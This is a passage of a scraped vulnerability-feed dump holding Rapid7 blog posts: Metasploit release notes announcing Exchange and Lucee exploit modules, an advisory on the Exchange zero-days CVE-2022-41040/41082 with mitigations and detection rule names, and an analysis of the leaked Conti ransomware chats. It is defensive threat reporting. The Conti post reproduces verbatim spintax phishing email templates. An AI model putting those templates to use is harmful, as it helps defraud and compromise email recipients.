into sessions for everyone to enjoy.\n\n## Great to see some GSoC value in the wild.\n\nWith Google Summer of Code 2021 moving into its final phases, [pingport80](<https://github.com/pingport80>) had 4 PRs land in this week's release. These improvements and fixes to interactions with sessions make post exploitation tasks more accessible, bringing the community more capabilities and stability along the way.\n\n## New module content (2)\n\n * [Lucee Administrator imgProcess.cfm Arbitrary File Write](<https://github.com/rapid7/metasploit-framework/pull/15525>) by [wvu](<https://github.com/wvu-r7>),, [iamnoooob](<https://github.com/iamnoooob>), and [rootxharsh](<https://github.com/rootxharsh>), which exploits [CVE-2021-21307](<https://attackerkb.com/topics/16OOl6KSdo/cve-2021-21307?referrer=blog>) \\- An unauthenticated user is permitted to make requests through the `imgProcess.cfm` endpoint, and using the `file` parameter which contains a directory traversal vulnerability, they can write a file to an arbitrary location. Combining the two capabilities, this module writes a CFML script to the vulnerable server and achieves unauthenticated code execution as the user running the Lucee server.\n * [Microsoft Exchange ProxyShell RCE](<https://github.com/rapid7/metasploit-framework/pull/15561>) by [wvu](<https://github.com/wvu-r7>), [Jang](<https://twitter.com/testanull>), [Orange Tsai](<https://twitter.com/orange_8361>), [PeterJson](<https://twitter.com/peterjson>), [Spencer McIntyre](<https://github.com/zeroSteiner>), [brandonshi123](<https://github.com/brandonshiyay>), and [mekhalleh (RAMELLA S\u00e9bastien)](<https://twitter.com/Mekhalleh>), which exploits [CVE-2021-31207](<https://attackerkb.com/topics/5F0CGZWw61/cve-2021-31207?referrer=blog>) \\- Added an exploit for the ProxyShell attack chain against Microsoft Exchange Server.\n\n## Enhancements and features\n\n * [#15540](<https://github.com/rapid7/metasploit-framework/pull/15540>) from [dwelch-r7](<https://github.com/dwelch-r7>) \\- This adds an option to `cmd_execute` to have the command run in a subshell by Meterpreter.\n * [#15556](<https://github.com/rapid7/metasploit-framework/pull/15556>) from [pingport80](<https://github.com/pingport80>) \\- This adds shell session compatibility to the `post/windows/gather/enum_unattend` module.\n * [#15564](<https://github.com/rapid7/metasploit-framework/pull/15564>) from [pingport80](<https://github.com/pingport80>) \\- This adds support to the `get_env` and `command_exists?` post API methods for Powershell session types.\n\n## Bugs fixed\n\n * [#15303](<https://github.com/rapid7/metasploit-framework/pull/15303>) from [pingport80](<https://github.com/pingport80>) \\- This PR ensures that the shell `dir` command returns a list.\n * [#15332](<https://github.com/rapid7/metasploit-framework/pull/15332>) from [pingport80](<https://github.com/pingport80>) \\- This improves localization support and compatibly in the session post API related to the `rename_file` method.\n * [#15539](<https://github.com/rapid7/metasploit-framework/pull/15539>) from [tomadimitrie](<https://github.com/tomadimitrie>) \\- This improves the OS version in the `check` method of `exploit/windows/local/cve_2018_8453_win32k_priv_esc`.\n * [#15546](<https://github.com/rapid7/metasploit-framework/pull/15546>) from [timwr](<https://github.com/timwr>) \\- This ensures that the UUID URLs of stageless reverse_http(s) payloads are stored in the database so that they can be properly tracked with payload UUID tracking. This also fixes an error caused by accessing contents of a url list without checking if it's valid first.\n * [#15570](<https://github.com/rapid7/metasploit-framework/pull/15570>) from [adfoster-r7](<https://github.com/adfoster-r7>) \\- This fixes a bug in the `auxiliary/scanner/smb/smb_enum_gpp` module where the path that was being generated by the module caused an SMB exception to be raised.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` and you can get more details on the changes since the last blog post from GitHub:\n\n * [Pull Requests 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222021-08-12T17%3A57%3A38%2B01%3A00..2021-08-20T05%3A13%3A43-05%3A00%22>)\n * [Full diff 6.1.0...6.1.1](<https://github.com/rapid7/metasploit-framework/compare/6.1.0...6.1.1>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. To install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the [binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-20T19:12:00", "type": "rapid7blog", "title": "Metasploit Wrap-Up", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21307", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523"], "modified": "2021-08-20T19:12:00", "id": "RAPID7BLOG:7B1DD656DC72802EE7230867267A5A16", "href": "https://blog.rapid7.com/2021/08/20/metasploit-wrap-up-126/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-10-14T19:25:39", "description": "\n\nOn Thursday, September 29, a Vietnamese security firm called GTSC [published information and IOCs](<https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>) on what they claimed was a pair of **unpatched** Microsoft Exchange Server vulnerabilities being used in attacks on their customers\u2019 environments dating back to early August 2022. The impact of exploitation, the firm said, is remote code execution. From the information released, both vulnerabilities appeared to be post-authentication flaws. According to GTSC, the vulnerabilities are being exploited to drop webshells on victim systems and establish footholds for post-exploitation behavior. \n\nMicrosoft [confirmed both zero-day vulnerabilities](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) late the evening of September 29, 2022 and said they were aware of \"limited, targeted attacks using the two vulnerabilities to get into users' systems.\" Tracked as CVE-2022-41040 and CVE-2022-41082, neither vulnerability has a patch as of September 30, but Microsoft indicated they're working on an accelerated timeline to release fixes.\n\n * CVE-2022-41040 is a Server-Side Request Forgery (SSRF) vulnerability. \n * CVE-2022-41082 allows remote code execution (RCE) when PowerShell is accessible to the attacker.\n\nBoth vulnerabilities require an attacker to have authenticated network access for successful exploitation. The known attacks appear to be a variant of last year's infamous [ProxyShell exploit chain](<https://attackerkb.com/topics/xbr3tcCFT3/proxyshell-exploit-chain/rapid7-analysis?referrer=blog>). **Note: **While attacks using these vulnerabilities have so far chained the two CVEs, it is entirely possible that either could be used alone, or chained with different vulnerabilities.\n\nSecurity researchers have [pointed out](<https://twitter.com/GossiTheDog/status/1575597075118497793>) that there are still plenty of Exchange Server installations not patched or improperly patched for [ProxyShell](<https://www.rapid7.com/blog/post/2021/08/12/proxyshell-more-widespread-exploitation-of-microsoft-exchange-servers/>), which gives attackers an easy way into systems that might otherwise be somewhat more resilient to this latest campaign. As of early September 2022, Rapid7 Labs observed up to **191,000 Exchange Servers exposed to the internet** via port 443. \n\n### Threat intelligence\n\nGTSC's [original blog has extensive details](<https://gteltsc.vn/blog/warning-new-attack-campaign-utilized-a-new-0day-rce-vulnerability-on-microsoft-exchange-server-12715.html>) on the attacks they observed, including various IOCs, malware analysis, and MITRE ATT&CK mapping. \n\nOn September 30, Microsoft also [published additional information](<https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/>) on attacks they have observed using these vulnerabilities: \n\n\"MSTIC observed activity related to a single activity group in August 2022 that achieved initial access and compromised Exchange servers by chaining CVE-2022-41040 and CVE-2022-41082 in a small number of targeted attacks. These attacks installed the Chopper web shell to facilitate hands-on-keyboard access, which the attackers used to perform Active Directory reconnaissance and data exfiltration. Microsoft observed these attacks in fewer than 10 organizations globally. MSTIC assesses with medium confidence that the single activity group is likely to be a state-sponsored organization.\"\n\n### Mitigation\n\n_**NOTE: **Microsoft has revised the URL Rewrite rule from their mitigation guidance multiple times since this blog came out. Refer to their instructions for the latest guidance._\n\nBoth CVE-2022-41040 and CVE-2022-41082 are unpatched.** **In the absence of a patch, Microsoft has directed on-premises Exchange customers to apply a blocking rule in \u201cIIS Manager -> Default Web Site -> Autodiscover -> URL Rewrite -> Actions\u201d to block the known attack patterns. Organizations should apply the mitigation as Microsoft directs on an emergency basis. \n\n**Microsoft has [full step-by-step URL Rewrite (mitigation) instructions here](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>). **These instructions have been updated multiple times\u2014check Microsoft's info for the latest.\n\nMicrosoft has confirmed that the URL Rewrite instructions linked above are successful in breaking current attack chains. Authenticated attackers who can access PowerShell Remoting on vulnerable Exchange systems will be able to trigger RCE using CVE-2022-41082. Blocking the ports used for Remote PowerShell can limit these attacks. Therefore, on-premises Exchange customers should review and apply Microsoft's URL Rewrite Instructions **and** block exposed Remote PowerShell ports:\n\n * HTTP: 5985\n * HTTPS: 5986\n\nMicrosoft also \"strongly recommends\" Exchange Server customers [disable](<https://learn.microsoft.com/en-us/powershell/exchange/control-remote-powershell-access-to-exchange-servers?view=exchange-ps%22%20\\\\l%20%22use-the-exchange-management-shell-to-enable-or-disable-remote-powershell-access-for-a-user>) remote PowerShell access for non-admin users.\n\nMicrosoft has said explicitly that Exchange Online Customers do not need to take any action. Note, however, that organizations who use hybrid (a mix of on-prem and cloud) Exchange environments should follow on-prem guidance. See [Microsoft's official blog](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>) for more details. \n\n### Rapid7 customers\n\nInsightVM and Nexpose customers can assess their exposure to CVE-2022-41040 and CVE-2022-41082 with a remote vulnerability check available in the September 30, 2022 content-only release ( Jar UpdateID: 144473189). The check will identify whether Microsoft's recommended mitigations have been applied. Customers can also use [Query Builder](<https://docs.rapid7.com/insightvm/query-builder/>) or [Dynamic Asset Groups](<https://docs.rapid7.com/nexpose/working-with-asset-groups/>) to identify systems that have Exchange installed on them. \n\n**Note: **Microsoft has revised their recommended URL Rewrite rule several times since October 4. Our vulnerability check has been updated as of the **October 12, 2022 content-only** release to identify the improved mitigation in Microsoft's guidance. \n\nThe behavior described in GTSC's blog is similar to other attacks targeting Exchange over the past 18 months. Rapid7\u2019s InsightIDR and Managed Detection & Response (MDR) customers have detection coverage for currently known post-exploitation attacker behaviors, including but not limited to:\n\n * Suspicious Process - Process Spawned By Outlook Web Access\n * Suspicious Process - Exchange Server Spawns Process\n * Attacker Technique - CertUtil With URLCache Flag\n * Webshell - China Chopper Executing Commands\n * Suspicious Process - Executable Runs From C:\\Perflogs\n\nFor InsightIDR customers, we recommend reviewing the rule action and priority of these detection rules to confirm that they align with their security** **needs. As always, MDR customers are being actively monitored by the Rapid7 SOC. If suspicious activity is detected in your environment, you will be contacted by your customer advisor.\n\nWe will update this blog with further information, including coverage additions or enhancements, as needed.\n\n### Updates\n\n**September 30, 2022: **Microsoft has confirmed two new zero-day vulnerabilities, CVE-2022-41040 and CVE-2022-41082, are being exploited in \"limited, targeted attacks.\" Microsoft has released mitigation guidance. Our engineering teams are investigating options to allow InsightVM and Nexpose customers to assess exposure to these vulnerabilities. InsightIDR customers have existing detection coverage. \n**[16:30 ET]** Updated information on newly released InsightVM and Nexpose vulnerability checks. \n\n**October 1, 2022: **Clarified wording and directions in _Mitigations _section, added a _Threat intelligence_ section with [Microsoft's analysis](<https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/>) of attacks using these vulnerabilities. \n\n**October 4, 2022: **Microsoft published updated mitigation guidance that includes an improvement to their URL Rewrite rule. The string contained in the recommended rule has been modified to be more effective. [Full instructions are here](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>). Our researchers are evaluating whether adjustments to our existing vulnerability checks are required based on Microsoft\u2019s new guidance. \n\n**October 5, 2022: **Our vulnerability check for InsightVM and Nexpose customers will be updated to identify the improved mitigation in Microsoft's revised guidance; this update will go out in the October 5, 2022 content-only release.\n\n**October 11, 2022: **Microsoft made additional improvements to their URL Rewrite rule instructions on October 7 and October 8. Full details are in their [blog](<https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/>). The vulnerabilities are still unpatched as of the October 11, 2022 Patch Tuesday release. \n\n**October 12, 2022: **Our engineering team has updated checks for these vulnerabilities in the October 12 content-only release. The updates look for the revised URL Rewrite rule in Microsoft's recommended mitigation guidance. \n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-29T20:50:50", "type": "rapid7blog", "title": "CVE-2022-41040 and CVE-2022-41082: Unpatched Zero-Day Vulnerabilities in Microsoft Exchange Server", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41040", "CVE-2022-41082"], "modified": "2022-09-29T20:50:50", "id": "RAPID7BLOG:90A5B4252807D9A3550CB8449AA62109", "href": "https://blog.rapid7.com/2022/09/29/suspected-post-authentication-zero-day-vulnerabilities-in-microsoft-exchange-server/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-12-02T22:08:54", "description": "## ProxyNotShell\n\n\n\nThis week's Metasploit release includes an exploit module for `CVE-2022-41082`, AKA ProxyNotShell by DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q, [Orange Tsai](<https://github.com/orangetw>), [Piotr Bazyd\u0142o](<https://mobile.twitter.com/chudypb>), [Rich Warren](<https://twitter.com/buffaloverflow>), [Soroush Dalili](<https://twitter.com/irsdl>), and our very own [Spencer McIntyre](<https://github.com/zeroSteiner>). The vulnerability `CVE-2022-41082`, AKA ProxyNotShell is a deserialization flaw in Microsoft Exchange's PSRP backend. Microsoft Exchange Server 2019, Exchange Server 2016 and Exchange Server 2013 are vulnerable to a server-side request forgery (SSRF) attack and remote code execution. An authenticated attacker can use the combination of these two vulnerabilities to elevate privileges and execute arbitrary code on the target Exchange server. For more information, see [CVE-2022-41082](<https://attackerkb.com/topics/tzpl7qr8m1/cve-2022-41082?referrer=blog>) and [CONTROL YOUR TYPES OR GET PWNED](<https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend>). The ProxyNotShell exploit also added new Exchange SSRF functionality that allows both it and the previous ProxyShell module to target Exchange server instances which utilize a Data Access Group (DAG) backend. The Metasploit team has yet to see another public Proof of Concept that takes this configuration type into account.\n\n## Remote Control Collection RCE\n\nCommunity contributors [h00die](<https://github.com/h00die>) and [H4rk3nz0](<https://github.com/H4rk3nz0>) also introduced another exploit module in this week's release. This module targets the remote control software which allows a remote person to connect and execute screen commands via mobile devices. Note that this module will only deploy a payload if the server is set without a password (default). A side note, if you're looking to learn more about how you can use metasploit to hack target servers using remote code vulnerabilities, you might find this video (<https://www.youtube.com/watch?v=eLbBR956Tgw>) helpful.\n\n## New module content (2)\n\n * [Microsoft Exchange ProxyNotShell RCE](<https://github.com/rapid7/metasploit-framework/pull/17275>) by DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q, Orange Tsai, Piotr Bazyd\u0142o, Rich Warren, Soroush Dalili, and Spencer McIntyre, which exploits [CVE-2022-41082](<https://attackerkb.com/topics/tzpl7qr8m1/cve-2022-41082?referrer=blog>) \\- This adds an exploit module for `CVE-2022-41082`, AKA ProxyNotShell. This vulnerability is a deserialization flaw in Microsoft Exchange's PSRP backend. The PSRP backend can be accessed by an authenticated attacker leveraging the SSRF flaw identified as `GHSA-6ph7-8wxv-6gf2`. Together, these vulnerabilities allow an authenticated attacker to execute arbitrary commands on a Microsoft Exchange Server.\n * [Remote Control Collection RCE](<https://github.com/rapid7/metasploit-framework/pull/17087>) by H4rk3nz0 and h00die - This PR adds an exploit targeting the Remote Control Server software which allows remote control of a PC, now including running a payload.\n\n## Enhancements and features (1)\n\n * [#17304](<https://github.com/rapid7/metasploit-framework/pull/17304>) from [om3rcitak](<https://github.com/om3rcitak>) \\- Improves `auxiliary/scanner/http/tomcat_mgr_login.rb` error message on 401 status codes to include the user defined URI.\n\n## Bugs fixed (2)\n\n * [#17163](<https://github.com/rapid7/metasploit-framework/pull/17163>) from [jheysel-r7](<https://github.com/jheysel-r7>) \\- This fixes a bug in the check method where we left an artifact on disk.\n * [#17299](<https://github.com/rapid7/metasploit-framework/pull/17299>) from [smashery](<https://github.com/smashery>) \\- This fixes a bug in the `polkit_dbus_auth_bypass` module that prevented it from working with certain session types.\n\n## Get it\n\nAs always, you can update to the latest Metasploit Framework with `msfupdate` \nand you can get more details on the changes since the last blog post from \nGitHub:\n\n * [Pull Requests 6.2.28...6.2.29](<https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222022-11-24T10%3A30%3A44%2B00%3A00..2022-12-01T09%3A50%3A22-06%3A00%22>)\n * [Full diff 6.2.28...6.2.29](<https://github.com/rapid7/metasploit-framework/compare/6.2.28...6.2.29>)\n\nIf you are a `git` user, you can clone the [Metasploit Framework repo](<https://github.com/rapid7/metasploit-framework>) (master branch) for the latest. \nTo install fresh without using git, you can use the open-source-only [Nightly Installers](<https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers>) or the \n[binary installers](<https://www.rapid7.com/products/metasploit/download.jsp>) (which also include the commercial edition).", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-12-02T21:00:13", "type": "rapid7blog", "title": "Metasploit Weekly Wrap-Up", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2022-41082"], "modified": "2022-12-02T21:00:13", "id": "RAPID7BLOG:0451F386C3F603C8DC3AE2E3F42A90D1", "href": "https://blog.rapid7.com/2022/12/02/metasploit-weekly-wrap-up-186/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2022-03-09T17:28:27", "description": "\n\n**_UPDATE: _**_As of March 2, 2022, Conti began taking down exposed infrastructure as a result of the chat disclosure. At that time, we assessed that due to their sophisticated capability, deep funding, and quick recovery from exposed infrastructure in November 2021, they remained an active and significant threat. As of March 9, 2022, our threat intelligence team has observed a resumption of normal operations from Conti._\n\nOn February 27, Twitter user [@ContiLeaks](<https://twitter.com/contileaks>) released a trove of chat logs from the ransomware group, Conti \u2013 a sophisticated ransomware group whose manual was publicly [leaked last year](<https://blog.talosintelligence.com/2021/09/Conti-leak-translation.html>). Ahead of the chat log disclosures, Conti pledged their support for the Russian Government following the Russian invasion of Ukraine. However, a number of members sided with Ukraine, causing strife within the organization. Two days later, Conti posted a second message revising their statement to condemn the war and to strike back only if Russian critical infrastructure is targeted.\n\n_Conti announcement of support for Russian government_\n\n_Conti walk-back of their support for Russia_\n\n_@ContiLeaks announcement of the release_\n\nAt the time of the leak, a file titled `1.tgz` was released on the \u201cAnonFiles\u201d website, containing 14 megabytes of chat logs across 393 JSON files. However, some of the messages were encrypted and could not be read, so the information provided is necessarily incomplete. The remaining files contained internal Conti communications, screenshots of tools, and discussions of their exploits and design processes. \n\nOn February 28 and March 1, a bevy of additional files were posted, along with a number of pro-Ukraine tweets. Among both sets of leaked messages, there were a number of usernames and passwords for a variety of accounts. Additionally, user @ContiLeaks shared access details for a number of alleged Conti command and control servers, plus storage servers for stolen files. However, we have not accessed any of the data necessitating access to remote servers or the use of usernames and passwords, and we strongly recommend against doing so. \n\n@ContiLeaks also shared a file that they purport to be the source code for the Conti ransomware but declined to share the password except with \u201ctrusted parties.\u201d @ContiLeaks did, however, name one alleged Conti developer, providing their email address and Github. The scale of the leaked information suggests that the leaker is likely either a very senior member of the group or a coalition of disgruntled Conti affiliates.\n\n## Conti is a business \u2013 and a well-funded one\n\nMuch of the discussion within the chat logs concerns fairly mundane things \u2013 interviewing potential operators of the group, payment for services, out-of-office messages, gossip, and discussions of products. Based on the leaked chats, the Conti interview process actually looks a lot like a standard technical interview, with coding exercises to be performed hosted on public code repositories, salary negotiations, and the status of ongoing products. \n\nIn addition to other financial information related to specific actors, the leaked chats have revealed Conti\u2019s primary Bitcoin address, which contains over **two billion USD** as of February 28, 2022. Moreover, a conversation on April 9, 2021 between \u201cmango\u201d and \u201cjohnyboy77\u201d indicates Russian FSB involvement in some portion of their funding and that the FSB were interested in files from the media outlet Bellingcat on \u201cNavalny\u201d \u2013 an apparent reference to Alexei Navalny, the currently imprisoned opposition leader in Russia.\n\n## Conti development\n\nConti seems to operate much like a software company \u2013 the chat logs disclose concerns with the development of specific features for targets and a particular difficulty in encrypting very large files. The Conti team also attempted to get demos of popular endpoint detection software with the intent to develop their malware to avoid detection.\n\nTwo of the actors, \u201clemur\u201d and \u201cterry\u201d shared phishing templates (included verbatim in Appendix B at the end of this post) to be used against potential targets. Conti gains initial access in many ways, with phishing a popular line of attack due in part to its relatively high efficacy and low cost. Conti often uses phishing emails to establish a presence on targeted networks.\n\nA screenshot of the Conti control panel was also leaked, showing a number of compromised hosts and a breakdown of the operating systems, antiviruses, user rights, and detailed information about the infected assets.\n\n_Conti control panel_\n\nFurther discussions detailed the use of infrastructure against targets, disclosing a number of both known and unknown Conti command and control domains. At the time of this post, only a small number of the previously unknown command and control domains appear to be active. Conversations between two operators, \u201cStern\u201d and \u201cBentley\u201d discuss the use of third parties for malicious documents, favoring certain providers over others. They also discuss logistics for how to deliver ransomware without being detected by dynamic analysis. In a conversation between the two back in June of 2021, Stern discloses that Conti wants to start their own cryptocurrency but does not know who to work with. There is no evidence that anything came of this desire, and Conti continues to use Bitcoin for their ransoms. \n\n## Other groups assert they are strictly business\n\nIn stark contrast to Conti, other groups have made it clear to the public that despite their \u201cbusiness model,\u201d they take no public stance on this crisis. LockBit is remaining aloof from the conflict and made it clear that they intend to operate as usual. Although it is believed that LockBit is a Russian organization, they assert that \u201cwe are all simple and peaceful people, we are all Earthlings,\u201d and \u201cfor us it is just business and we are all apolitical.\u201d Another ransomware group, ALPHV, claims to be \u201cextremely saddened\u201d by Conti\u2019s pledge of support and condemns Conti. Their message concludes, \u201cThe Internet, and even more so its dark side, is not the place for politics.\u201d\n\n## Rumors of Conti\u2019s demise have been greatly exaggerated\n\nConti\u2019s payment and \u201csupport\u201d portal is still live, even following the infighting and leaks. Conti has repeatedly proven to be one of the most capable ransomware actors and these chats indicate that the group is well-organized and still very well-funded despite the schism. Any suggestion that these leaks spell the end for Conti is overstated, and we expect that Conti will continue to be a powerful player in the ransomware space.\n\n## What you can do\n\nWe are keeping an eye on dark web activity related to Conti and other ransomware groups and want to reiterate the following steps for protecting yourself from ransomware: \n\n\n * User education, especially related to well-crafted phishing campaigns\n * Asset and vulnerability management, including reducing your external attack surface\n * Multi-factor authentication \n\n\nAdditionally, it is worth ensuring that you are well-guarded against the exploits and malware commonly used by Conti (vulnerabilities provided in Appendix A at the end of this post). Furthermore, security teams should also take some time to review [CISA\u2019s recent report on the group](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>). For further discussion on how to protect yourself from ransomware, see our [ransomware playbook](<https://www.rapid7.com/solutions/ransomware/>). \n\n\n## Appendix A \u2013 Conti known exploited vulnerabilities\n\nCVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 (MS17-010; EternalBlue/EternalSynergy/EternalChampion)\n\nCVE-2020-1472 (ZeroLogon)\n\nCVE-2021-34527 (PrintNightmare)\n\nCVE-2021-44228 (Log4Shell)\n\nCVE-2021-34473, CVE-2021-34523, CVE-2021-31207 (ProxyShell/ProxyLogon)\n\n## Appendix B \u2013 Phishing templates\n\n{Greetings|Hello|Good afternoon|Hi|Good day|Greeting|Good morning|Good evening}! \n{Here|Right here|In this letter|With this letter} we {send|direct} you {all the|all the necessary|the most important} {documentation|papers|documents|records} {regarding|concerning|relating to} your {payment|deposit payment|last payment} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u041f\u041b\u0410\u0422\u0415\u0416\u0410, right {as we|as we have} {discussed|revealed} {not so long ago|not too long ago|recently|just recently|not long ago}. Please {review the|check the|take a look at} \u0430ll {necessary|required|important} {information|data} in the {file attached|attached file}. \n\u0422: {Payment|Deposit payment} {invoice|receipt} {#|\u2116|No. }\u041d\u041e\u041c\u0415\u0420 \u0418\u041d\u0412\u041e\u0419\u0421\u0410 {prepared|formed} \nD: {payment|deposit|dep|paym}_{info|information|data}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \nYour {order|purchase order|online order} was {successfully|correctly|timely} {paid|compensated|covered} by you {yesterday|today|recently}. Your {documentation|docs|papers} and {bank check|receipt|paycheck} {can be found|are listed} in the {attached file|file attached}. \nT: {Invoice|Given invoice|Bill} {we|we have|we\u2019ve} {sent|mailed|delivered} to you {is paid|is covered|is processed}. \nD: {Purchase order|Order} {verification|approval}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{We are contacting you to|This is to|This mail is to} {notify|remind} you {about|regarding} your {debt|unprocessed payment} for {our last|the recent|our recent} {contract|agreement}. All {compensation|payment} {data|information}, {agreement|contract} and prepared legal {documents|documentation} {can be found|are located} in the {file attached|attached file}. \nT: {Missing|Additional} payment {information|details|info} reminder \nD: {Contract|Agreement} 2815/2 {case|claim}\n\n{Hello|Greetings|Greetings to you|Good evening|Good morning|Good day|Good afternoon}{!|,|.|} \n{Your payment|Your advance payment|Your obligatory payment|Payment you sent|Payment you made} was {successfully|correctly|timely|properly} {achieved|accomplished|approved|affirmed|received|obtained|collected|processed}. All {required documentation|necessary documents|important documentation|documents you need|details that can be important|essential documents} {can be found|you can find} in the {attached file|file attached}. \nT: {Invoicing|Invoice|Agreement|Contract|Payment} {info|data|information|details} \nD: {Receipt|Bill} {id|ID|Number|number|No.|No.|No|#|##} 3212-inv8\n\n{Greetings|Hello|Good day|Good afternoon}{!|,|} \n{Thank you for|We are thankful for|We are grateful for|Many thanks for} {your|your recent} {on-line order|purchase order|order}. {We|Our financiers have|Our team has|We have|Our shop has} {received|collected|processed|checked} your {payment|advance payment|money transfer|funds transfer} \u041d\u041e\u041c\u0415\u0420 \u041f\u0415\u0420\u0415\u0412\u041e\u0414\u0410. Now we {are and ready to|begin to} {pack|prepare|compose} your {shipment|order|box}. Your {parcel|packet|shipment|box} {will|is going to|would} {arrive|be delivered} to {you|your residence} within {4|5|6|four|five|six} {days|business days}. \n{Total|Full|Whole} {order|purchase|payment} sum: \u0421\u0423\u041c\u041c\u0410 \nYou {can find|will find} {all|full} {relative information|order info|order and payment details} and your {receipt|check} \u041d\u041e\u041c\u0415\u0420 \u0427\u0415\u041a\u0410 {in|in the} {attached file|file attached}. \n{Thank you!|Have a nice day!} \n\u0422\u0415\u041c\u042b: Your {order|purchase|on-line order|last order} \u041d\u041e\u041c\u0415\u0420 \u0417\u0410\u041a\u0410\u0417\u0410 payment {processed|obtained|received} \n\u0410\u0422\u0422\u0410\u0427\u0418: \nord_conf \nfull.details \ncompl_ord_7847 \nbuyer_auth_doc \ninfo_summr \ncustomer_docs \nspec-ed_info\n\n \n_**Additional reading**_\n\n * _[Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)_\n * _[Staying Secure in a Global Cyber Conflict](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)_\n * _[Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)_\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-03-01T19:15:58", "type": "rapid7blog", "title": "Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict", 